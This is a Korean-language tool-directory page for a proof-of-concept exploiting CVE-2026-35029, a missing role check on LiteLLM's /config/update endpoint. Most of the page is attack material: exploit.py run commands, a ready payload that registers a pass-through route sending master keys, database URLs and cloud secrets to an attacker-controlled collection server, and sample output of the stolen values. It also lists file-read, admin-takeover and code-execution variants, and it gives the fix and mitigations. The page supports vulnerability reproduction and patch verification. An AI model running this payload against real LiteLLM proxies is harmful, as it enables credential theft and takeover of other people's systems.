Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-35029-PoC — 해당 취약점을 개인적으로 재현하기 위한 코드 | Kitploit
도구/GitHubGitHub/learner202649/cve-2026-35029-poc
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration TestingLearning & EducationLabs & Practice
GitHublearner202649/cve-2026-35029-poc

CVE-2026-35029-PoC

해당 취약점을 개인적으로 재현하기 위한 코드

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-35029 — LiteLLM /config/update 권한 없는 접근 취약점 (Broken Access Control)

LiteLLM의 /config/update 엔드포인트는 호출자의 역할 권한을 확인하지 않습니다. 유효한 API Key를 가진 모든 인증된 사용자는(관리자 권한 없이도) 프록시 구성을 수정하고 악성 Pass-Through 엔드포인트를 등록하여 환경 변수 탈취, 임의 파일 읽기, 원격 코드 실행 등의 공격을 수행할 수 있습니다.

FieldValue
CVECVE-2026-35029
CVSS v4.08.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization)
AffectedLiteLLM < 1.83.0
Fixedv1.83.0+ (added proxy_admin role check on /config/update)
Published2026-04-06
Discovered byTimo Müller — SEC Consult Vulnerability Lab (Munich)
Found2026-02-24
LinksGHSA-53mr-6c8q-9789 • NVD • SEC Consult

설명

LiteLLM의 /config/update 엔드포인트는 proxy_admin 역할만 호출할 수 있어야 하지만, v1.83.0 이전에는 역할 확인이 전혀 없었습니다. 유효한 API Key를 가진 모든 사용자가 이 엔드포인트를 호출할 수 있습니다.

공격 벡터

영향

  • 낮은 권한의 사용자 → 완전한 관리자 권한
  • 민감한 환경 변수 유출 (데이터베이스 자격 증명, API 키, 클라우드 서비스 자격 증명)
  • 임의 파일 읽기 (구성 파일, 인증서, shadow 파일)
  • 다른 취약점(CVE-2026-35030)과 체인 공격 가능

개념 증명

빠른 시작 (Docker)

⚠️ Important: The docker-compose.yml pins the vulnerable image to a specific digest (sha256:5beb4ea6...) from January 24, 2026. Do not change it to main-v1.81.0-stable or any other mutable tag — later images may have been rebuilt with fixes, breaking reproduction.

root@kitploit:~
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d

# 2. 安装依赖
pip install -r requirements.txt

# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
  --target http://localhost:4000 \
  --key sk-litellm-master-key

# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
  --target http://localhost:4001 \
  --key sk-litellm-master-key --fixed

참고: 컨테이너를 처음 시작할 때 약 30~60초(PostgreSQL 상태 확인 + Prisma 데이터베이스 마이그레이션) 기다려야 하며, 컨테이너 로그에 Uvicorn running on http://0.0.0.0:4000가 나타난 후에 exploit을 실행하십시오.

예상 출력

환경 변수 탈취:

root@kitploit:~
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================

[*] Step 1: Registering pass-through endpoint via /config/update...
    Payload: {
        "general_settings": {
            "pass_through_endpoints": [
                {
                    "path": "/exfil/env",
                    "target": "http://exfil-server:9999/collect",
                    "headers": {
                        "X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
                        "X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
                        "X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
                        "X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
                    }
                }
            ]
        }
    }
    HTTP 200
    [+] Config update accepted!

[*] Step 2: Waiting for pass-through route propagation...
    6 seconds...

[*] Step 3: Triggering pass-through endpoint at /exfil/env...
    HTTP 200
    Response: {"status":"received","message":"Data captured by exfiltration server"}

[*] Step 4: Checking exfiltration server for stolen data...

[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
   Path  : /collect
   Headers:
     X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
     X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
     X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
     X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked

[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!

수정 버전 접근 거부 (비관리자 Key 사용 시 403 반환):

root@kitploit:~
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
    HTTP 403
    [-] Forbidden — target may be patched (v1.83.0+)
    [+] Expected: fixed version blocks non-admin config updates

참고: Master Key(sk-litellm-master-key)로 수정 버전을 테스트하면 구성 업데이트가 여전히 HTTP 200을 반환할 수 있습니다(Master Key는 proxy_admin 역할을 보유). 하지만 Pass-Through 엔드포인트 등록이 적용되지 않거나 조용히 무시될 수 있습니다. 비관리자 Key를 사용하여 수정을 확인하는 것이 좋습니다.


공격 체인 상세

root@kitploit:~
 ┌──────────────┐     ┌─────────────────┐     ┌───────────────────┐
 │ 攻击者        │     │  LiteLLM Proxy   │     │ Exfiltration 服务  │
 │ (低权限 Key)  │     │ (< v1.83.0)     │     │ (攻击者控制)       │
 └──────┬───────┘     └────────┬────────┘     └────────┬──────────┘
        │                      │                       │
        │ 1. POST /config/update                       │
        │    {pass_through_endpoints:                  │
        │      [{path, target, headers:                │
        │        {X-DB: "os.environ/DATABASE_URL"}}]}  │
        │─────────────────────→│                       │
        │                      │                       │
        │    HTTP 200 (OK!)    │                       │
        │←─────────────────────│                       │
        │                      │                       │
        │ 2. GET /exfil/env    │                       │
        │─────────────────────→│                       │
        │                      │ 3. Forward request    │
        │                      │    + resolved headers │
        │                      │    (含 DATABASE_URL)  │
        │                      │──────────────────────→│
        │                      │                       │
        │                      │    HTTP 200           │
        │                      │←──────────────────────│
        │←─────────────────────│                       │
        │                      │                       │
        │ 4. 读取 /logs 确认结果                       │
        │─────────────────────────────────────────────→│
        │←─ [🔥] 窃取到 DATABASE_URL ─────────────────│

환경

root@kitploit:~
CVE-2026-35029/
├── README.md                    # This file
├── docker-compose.yml           # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml          # LiteLLM base config
├── requirements.txt             # Python dependencies (PoC)
├── exfil-server/
│   ├── Dockerfile               # Exfiltration server image
│   └── server.py                # Captures stolen data (Python HTTP)
├── exploit/
│   ├── exploit.py               # Main exploit script
│   └── payload.py               # Payload builder module
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

수정 사항

v1.83.0에서 /config/update 핸들러에 proxy_admin 역할 확인이 추가되었습니다:

root@kitploit:~
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
    ...  # 任何已认证用户均可调用

# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin")  # ← 新增角色检查
async def update_config(request: Request):
    ...

커밋: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4

완화 조치

  1. 즉시 업그레이드 LiteLLM을 **v1.83.0+**로
  2. /config/update 엔드포인트에 대한 네트워크 접근 제한
  3. 모든 API Key 사용 내역 감사, 유출 가능한 자격 증명 교체
  4. 비정상적인 구성 업데이트 요청 모니터링

참고 자료

  • GitHub Security Advisory GHSA-53mr-6c8q-9789
  • SEC Consult Advisory
  • NVD Detail
  • LiteLLM Security Hardening (April 2026)
  • LiteLLM Pass-Through Endpoints Docs

Disclaimer: This content is provided for educational purposes and authorized security testing only.

도구 다운로드
공격 유형설명
환경 변수 탈취Pass-Through 엔드포인트를 등록하여 os.environ/VAR_NAME 헤더 참조를 통해 DATABASE_URL, LITELLM_MASTER_KEY 등을 탈취합니다.
임의 파일 읽기LANGFUSE_* 헤더의 Base64 인코딩 특성을 이용하여 서버 파일 시스템을 읽습니다.
구성 변조UI_USERNAME, UI_PASSWORD를 덮어써 관리자 계정을 탈취합니다.
원격 코드 실행공격자의 Python 코드를 가리키는 Pass-Through 엔드포인트 핸들러를 등록합니다.